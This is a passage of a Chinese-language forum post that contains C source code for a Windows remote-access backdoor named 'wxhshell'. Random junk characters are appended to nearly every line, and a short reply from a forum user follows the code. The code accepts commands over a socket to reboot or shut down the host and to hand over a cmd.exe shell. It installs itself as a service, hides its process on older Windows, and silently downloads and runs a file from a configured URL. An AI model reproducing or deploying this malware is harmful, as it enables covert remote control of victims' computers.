  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mXK7y.9\  
  } ;4Wz0suf  
  else { z>A;|iL  
WCL#3uYk"  
    switch(cmd[0]) { n?S~(4%  
  }Q-%ij2  
  // 帮助 ^tRy6zG  
  case '?': { l", X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 16|miK[@  
    break; iL8:I)z  
  } n h&[e  
  // 安装 CSVL,(Uw  
  case 'i': { Mq Q'Kjo  
    if(Install()) NhRKP"<CO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tBtmqxx  
    else #VU>Z|$@N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\BYm|%aa  
    break; _BPp=(|  
    } ,wB)hp  
  // 卸载 a?]~Sw"@  
  case 'r': { [+(fN  
    if(Uninstall()) c1}i|7/XSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewOe A|  
    else \o<&s{ 6L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?O.'_YS  
    break; R&@NFin  
    } 8!|LJI  
  // 显示 wxhshell 所在路径 !D~\uW1b  
  case 'p': { H|I.h{:  
    char svExeFile[MAX_PATH]; Nf1&UgX  
    strcpy(svExeFile,"\n\r"); ' )~G2Ys  
      strcat(svExeFile,ExeFile); jm&PGZ#n=R  
        send(wsh,svExeFile,strlen(svExeFile),0); J5L[)Gd)D  
    break; vhz Q.>  
    } dz,4);Mg  
  // 重启 1pJ?YV  
  case 'b': { ueu=$.^;g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~^v*f   
    if(Boot(REBOOT)) / 0y5/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'|/=$  
    else {  IcUE=J  
    closesocket(wsh); (Nn)_caVb  
    ExitThread(0); -5u. Ix3  
    } -}KW"#9c  
    break; _[{oK G^u  
    } _64<[2  
  // 关机 <ql:n  
  case 'd': { UdK+,k~m/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U!i@XA%P  
    if(Boot(SHUTDOWN)) $&KiN82,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M <c cfU!  
    else { o!sHK9hvJ)  
    closesocket(wsh); TSKR~3D#  
    ExitThread(0); ^.u J]k0  
    } 5@yBUwMSj  
    break; 41 #YtZ  
    } ?a{>QyL  
  // 获取shell =g<Yi2  
  case 's': { %+ur41HM  
    CmdShell(wsh); .Dt.7G  
    closesocket(wsh); @X]J MicJ  
    ExitThread(0); Je#vu`.\\  
    break; Ie'iAY  
  } jFG Y`9Zw0  
  // 退出 ^y2}C$1V  
  case 'x': { _GsHT\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tW=oAy  
    CloseIt(wsh); t&nK5p95(  
    break; b0h>q$b  
    } H':0  
  // 离开 bw*D!mm,  
  case 'q': { ~'t+X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c'uDK>  
    closesocket(wsh);  R7ExMJw  
    WSACleanup(); VNHt ]Ewj  
    exit(1); eJ_$Etc  
    break; 4{#0ci{  
        } -|( q 9B  
  } YnW,6U['{g  
  } (k24j*1e$  
&n9 srs  
  // 提示信息 {IT;g9x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 31{) ~8  
} C)|#z/"  
  } KJCi4O&  
?jH u,  
  return; v.{I^=  
} uV\~2#o$_  
f\c%G=y  
// shell模块句柄 !Tu4V\^~A  
int CmdShell(SOCKET sock) 'OvyQ/T  
{ Jk,}3Cr/  
STARTUPINFO si; Hg`2- Nl  
ZeroMemory(&si,sizeof(si)); T74."Lo#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ({9P, D~2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ],w+4;+  
PROCESS_INFORMATION ProcessInfo; m}GEx)Y D  
char cmdline[]="cmd"; QR*{}`+l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^s6C']q *O  
  return 0; % QI6`@Y"  
} FXo{|z3  
*>J45U(6:  
// 自身启动模式 g<5G#  
int StartFromService(void) %nT&  
{ YA*E93J0  
typedef struct G:Cgq\+R  
{  !AFii:#  
  DWORD ExitStatus; A =l1_8,`h  
  DWORD PebBaseAddress; SS"Z>talw  
  DWORD AffinityMask; h f9yK6  
  DWORD BasePriority; {14sI*b16  
  ULONG UniqueProcessId; %\?Gzc_  
  ULONG InheritedFromUniqueProcessId; [Ontip  
}   PROCESS_BASIC_INFORMATION; u\P)x~-TM  
k{ibD5B  
PROCNTQSIP NtQueryInformationProcess; q-4#)EnW  
T8\%+3e.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # PZBh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kYU!6t1  
TTm  
  HANDLE             hProcess; D0@d}N  
  PROCESS_BASIC_INFORMATION pbi; ]R6Z(^XT,E  
vH/ Y]Am  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O*-sSf   
  if(NULL == hInst ) return 0; ^=Egf?|[  
 :IX_}|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  cvO;xR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <G#z;]N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V|G[j\]E<  
6uubkt  
  if (!NtQueryInformationProcess) return 0; gfm aO ]  
b@yFqgJ_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4!0nM|~  
  if(!hProcess) return 0; q.69<Rs  
V SUz+W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2~q(?wY  
R4Si{J*O  
  CloseHandle(hProcess); i*ji   
?Qdp#K]WX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]WZi +  
if(hProcess==NULL) return 0; .}DL%E`n  
dxF/]>t  
HMODULE hMod; I<L<xwh1(E  
char procName[255]; uc-Go 6W  
unsigned long cbNeeded; fqS cf}s  
2mVLR;s{_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ZXAW~a}  
C! J6"j  
  CloseHandle(hProcess); >? ({  
W.VyH|?  
if(strstr(procName,"services")) return 1; // 以服务启动 2Ik@L,  
X^ZUm  
  return 0; // 注册表启动 ffE&=eh)  
} uq_h8JH$  
|4u?Q+k%%  
// 主模块 /dt'iai~l  
int StartWxhshell(LPSTR lpCmdLine) e \ rb  
{ @iD5X.c  
  SOCKET wsl; )uIH onXU  
BOOL val=TRUE; c0W4<(  
  int port=0; dI|`"jl#  
  struct sockaddr_in door; B#9T6|2  
+yYSp8>  
  if(wscfg.ws_autoins) Install(); (y{nD~k  
_=68iDXm  
port=atoi(lpCmdLine); L}5IX)#gH  
ht@s!5\LK  
if(port<=0) port=wscfg.ws_port; I6,sN9` K  
6mbHfL>cO  
  WSADATA data; d( +E0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qvhol  
RXU#.=xvy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )./.rtP|4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ."\&;:ZNv  
  door.sin_family = AF_INET; =*?2+ ;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k7ODQ(*v  
  door.sin_port = htons(port); uSi/|  
4Iou| H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z,bvD'u  
closesocket(wsl); \qh -fW; #  
return 1; ewb/ Z[4  
} POCFT0R}  
zO07X*Bw  
  if(listen(wsl,2) == INVALID_SOCKET) { (6S f#M  
closesocket(wsl); o4g<[X)  
return 1; Uv"GG: K_  
} niIjatT  
  Wxhshell(wsl); HJ,sZ4*]]  
  WSACleanup(); $S0eERg a  
ooPH [p  
return 0; 34P5[j!h  
!^*I?9P  
} <r{ )*]#l  
k(v8zDq*  
// 以NT服务方式启动 ET7(n0*P}]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4?a!6  
{ 2 !^[x~t  
DWORD   status = 0; -O=a"G=  
  DWORD   specificError = 0xfffffff; M1f ^Lx  
#Ua+P(1q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 044*@a5f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +T@a/(Gl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (SlrV8;  
  serviceStatus.dwWin32ExitCode     = 0;  *R6n+d  
  serviceStatus.dwServiceSpecificExitCode = 0; iEf6oM  
  serviceStatus.dwCheckPoint       = 0; Jy X7I,0  
  serviceStatus.dwWaitHint       = 0; = ?hx+-'  
]8XY "2b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vQ}'4i8(  
  if (hServiceStatusHandle==0) return; Ur]~>-Z  
]d@@E_s]  
status = GetLastError(); ~4~-^ t  
  if (status!=NO_ERROR) Sr`gQ#b@r}  
{ 2 S\~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; = e)[?{H  
    serviceStatus.dwCheckPoint       = 0; +jD{ O @9  
    serviceStatus.dwWaitHint       = 0;  *YFe  
    serviceStatus.dwWin32ExitCode     = status; r4~Bn7j2  
    serviceStatus.dwServiceSpecificExitCode = specificError; icf[.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C||A[JOS  
    return; eiF!yk?2  
  } *eO@<j?  
&!{wbm@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~OXC6z  
  serviceStatus.dwCheckPoint       = 0; U$`)|/8  
  serviceStatus.dwWaitHint       = 0; >_biiW~x:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qK4E:dD  
} .wD>0Ig  
#(53YoV_8  
// 处理NT服务事件,比如:启动、停止 7FVu [Qu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qYW{$K  
{ _= _]Yx  
switch(fdwControl) r'p;Nj.  
{ L30x2\C  
case SERVICE_CONTROL_STOP: KsGSs9  
  serviceStatus.dwWin32ExitCode = 0; V X<ZB +R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b+NF: -fO  
  serviceStatus.dwCheckPoint   = 0; v?yHj-  
  serviceStatus.dwWaitHint     = 0; )T:{(v7 d`  
  { ]rDf3_!m(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h@72eav3+  
  } G^F4c{3c~  
  return; FhZ&^.:  
case SERVICE_CONTROL_PAUSE: W9?Yzl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <4y1[/S  
  break; -0Q:0wU  
case SERVICE_CONTROL_CONTINUE: 0:**uion  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :XMw="u=  
  break; <v"C`cga  
case SERVICE_CONTROL_INTERROGATE: Wx&AY"J  
  break; p1HU2APFP  
}; j$#pG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DsqsMlB{  
} Fz16m7.  
8=7u,t  
// 标准应用程序主函数 /'=C<HSO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qeCx.Z  
{ ]do0{I%\eq  
SMQuJ_  
// 获取操作系统版本 56*}}B$?  
OsIsNt=GetOsVer(); M"K$81  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :eI .E:/'  
+7o3TA]-  
  // 从命令行安装 7g5sJj  
  if(strpbrk(lpCmdLine,"iI")) Install(); +V&b<y;?>  
;0}$zy1EZ  
  // 下载执行文件 WZRrqrjq  
if(wscfg.ws_downexe) { A~-e?.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$Y!d"D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3skq%;%Wsk  
} vI ]| W  
r]km1SrS  
if(!OsIsNt) { A5Yfm.Jy  
// 如果时win9x,隐藏进程并且设置为注册表启动 2"nd(+ QH  
HideProc(); SPL72+S`,  
StartWxhshell(lpCmdLine); N40.GL0s  
} q:-8W[_  
else $qy%Q]  
  if(StartFromService()) 'R~x.NM  
  // 以服务方式启动 '@HWp8+  
  StartServiceCtrlDispatcher(DispatchTable); s_K:h  
else [e ;K$  
  // 普通方式启动 SMgf(N3]  
  StartWxhshell(lpCmdLine); >i]r,j8!  
!:`QX\Ux  
return 0; UioLu90 P  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五